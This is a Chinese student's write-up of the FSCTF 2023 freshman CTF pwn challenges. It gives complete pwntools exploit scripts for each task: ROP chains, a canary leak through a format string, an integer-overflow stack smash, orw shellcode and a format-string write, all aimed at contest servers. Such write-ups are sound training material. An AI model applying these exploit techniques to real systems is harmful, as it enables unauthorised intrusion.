FSCTF 2023 PWN
简介
FSCTF新生赛是由中国民航大学、天津理工大学、滁州学院、吉林师范大学、三明学院(排名不分先后)等5所高校共同举办的CTF新生赛,比赛涵盖 Web、Pwn、Reverse、Crypto、Misc 等赛题方向。通过此次比赛,希望能够提高参赛师傅们的实践能力,促进进一步学习竞赛知识的热情,并为大家提供一个展示自我、交流合作的平台。
完结撒花!!!
这次新生赛挺有意思的,PWN 的签到题 nc(不知道是不是真的签到 -_-),做的真的会怀疑人生(也是好事,这个知识点肯定是自己的盲区,学到了学到了),What am I thinking?也挺有意思的,没给文件让我们用 pwntools 去整,总体来说,做的很开心,学到了很多,明年再来!!!
nc
这道题做的真会让人怀疑这真的是一道签到题吗,做的人真的会麻木,不过看了 WP,这个点明白了还是很不错的,以下就是可以获得 flag 的命令:
exec 1>&0&&tac fl* tac fl*>&0 tac fl*>&2
|


rdi
查看一下保护机制,只打开了 NX。

IDA 一下,代码审计一下,你会发现发生了栈溢出,并且有个 system,但是没有 binsh,这样的话就看下能不能再执行文件里面找到 sh。


ROPgadget 搜索一手,发现了 sh(和 binsh 有一样的功能),这样就好办,知道 system 和 sh,这题就是考察 64 位传参的知识了(可以看 [Pwn Pwn Pwn!!! 技巧(1)]),这题是不需要栈平衡的,直接上 exp。

exp如下:
from pwn import * context(arch='amd64', os='linux', log_level='debug')
io = remote('node6.anna.nssctf.cn', 28993) elf = ELF('./111')
rdi_addr = 0x4007d3 ret_addr = 0x400546 sys_addr = 0x4006FB bin_sh = 0x40080d
payload = b'a' * (0x80 + 8) + p64(rdi_addr) + p64(bin_sh) + p64(sys_addr)
io.sendline(payload) io.interactive()
|
stackmat
老规矩看看保护机制,打开了 canary 和 NX,思路就来了(想办法泄露 canary)。

IDA 反汇编一下,发现了格式字符串漏洞和栈溢出,运行程序看看偏移(结果偏移为 8)。


GDB 调试一下,发现 canary 是第十一个参数,这样的话就和比赛里的 NewStarCTF 2023 [WEEK 2] PWN 题目有异曲同工之妙,只是这题不需要栈平衡,直接开干。

exp如下:
from pwn import * from LibcSearcher import * context(os='linux', arch='amd64', log_level='debug')
p = remote('node6.anna.nssctf.cn', 28131) elf = ELF('./111')
backdoor = 0x401229 ret_addr = 0x40101a
payload = b'%11$p' p.sendline(payload) p.recvuntil(b'I kown you know\n') canary = int(p.recv(18), 16)
payload = b'a' * (0x30 - 8) + p64(canary) + p64(0) + p64(backdoor)
p.send(payload) p.interactive()
|
2str
查看一下保护机制,32 位程序只打开了 NX。

IDA 反汇编一下,代码审计你就会发现程序有三点问题:
v3 是一个 8 位的无符号整型(可能需要用到整型溢出);
- 存在一个
if (v3 > 9) 语句,需要绕过;
- 存在
strcpy 导致的栈溢出。
使用 '\x00' 虽然能绕过 if,但无法造成 strcpy 溢出,所以通过整型溢出来解决问题 —— 利用 unsigned __int8 的范围为 0~255,输入字符长度为 256~264 即可。

exp如下:
from pwn import * from LibcSearcher import * context(arch='i386', os='linux', log_level='debug')
p = remote('node4.anna.nssctf.cn', 28318) elf = ELF('./111')
backdoor = 0x80492AF ret_addr = 0x804900a
p.recvuntil(b'show me your power\n')
payload = b'A' * (0xb9 + 4) + p32(backdoor) payload = payload.ljust(0x100, b'A')
p.sendline(payload) p.interactive()
|
What am I thinking?
这题挺有意思的(有没有咱家鸽鸽的粉丝),没有附件,显然是让你 nc,去寻找线索。

一堆英文(翻译后理解),我开始以为是用时间做种子生成随机数,但是没文件就没法这么做。看了 WP 才发现是考察 pwntools 使用。

注意:
- 开始接受时要先发
\n;
- 接收数据的方式很重要:
recvuntil(b'\nTell', drop=True);
- drop=True 表示去除末尾标识。
recvuntil()函数用于接收数据,直到遇到指定的字符串,drop=True参数表示在返回结果时,不包含这个指定的字符串
例:
p.recvuntil(b'\nTell', drop=True):这行代码接收来自远程服务器的数据,直到遇到字符串"\nTell"为止
谁黑我家鸽鸽我跟谁急 ☺☺☺☻☻☻

exp如下:
from pwn import * import base64 import os
p = remote('node4.anna.nssctf.cn', 28762)
p.send(b'\n') p.recvuntil(b'brain:\n') key = p.recvuntil(b'\nTell', drop=True) key = base64.b64decode(key)
fp = open('jige', 'wb') fp.write(key) fp.close()
os.system('chmod 777 jige') p_ = process('./jige') p_.recvuntil(b'THE NUMBER IS ') num = p_.recvuntil(b'\nCan', drop=True)
p.sendline(num) p.interactive()
|
Fi3h
查看保护机制,开启了 NX 和 PIE。

这题需要使用 orw,不过原理还没完全搞明白,先贴官方 WP,后续理解后再补。
exp如下:
from pwn import * context(log_level='debug', arch='amd64', os='linux', endian='little', terminal=['tmux','splitw','-h'])
p = remote('node4.anna.nssctf.cn', 28785) elf = ELF('./111')
p.sendlineafter(b">> ", b"1") p.recvuntil(b"spent in ")
mmp_addr = int(io.recvuntil(b".. ", drop=True), 16) print("mmp_addr:", hex(mmp_addr))
p.sendlineafter(b">> ", b"3") p.recvuntil(b"seems to be ") leak_addr = int(p.recvuntil(b" and", drop=True), 16) print("leak_addr:", hex(leak_addr))
p.sendlineafter(b">> ", b"5") p.recvuntil(b"something:\n")
payload = b"1.1.1." + cyclic(0x88) + p64(leak_addr) p.send(payload)
p.recvuntil(b"fantasy:\n")
orw = b"\x90" * 0x10 + asm(shellcraft.open("./flag")) orw += asm(shellcraft.read(3, mmp_addr + 0x400, 0x100)) orw += asm(shellcraft.write(1, mmp_addr + 0x400, 0x100))
p.send(orw) p.interactive()
|
YS, START!
老规矩查看一下保护机制,32位只打开Canary和NX,这题我当时没有做好像就是因为我反汇编不了伪代码,看了下WP,确实有点玄学

ida搞起来,

这题还没有弄明白,等会会了再来改,先贴上官方WP
exp如下:
from pwn import *
p = remote('node4.anna.nssctf.cn', 28454) elf = ELF('./111')
p.sendline(p32(0x0804C044) + b"%15$hn" + b"%7$d") ver = p.recvuntil(b",P", drop=True)[-6:] p.sendline(b'y') p.sendline(b"123") p.sendline(b"asd") p.sendlineafter(b"ver", ver)
p.interactive()
|
总结
这次高校联合出题,质量感觉不错,学到了很多,一些盲点的知识点也考察了。总体来说挺棒的,自己还得加油,冲冲冲!!!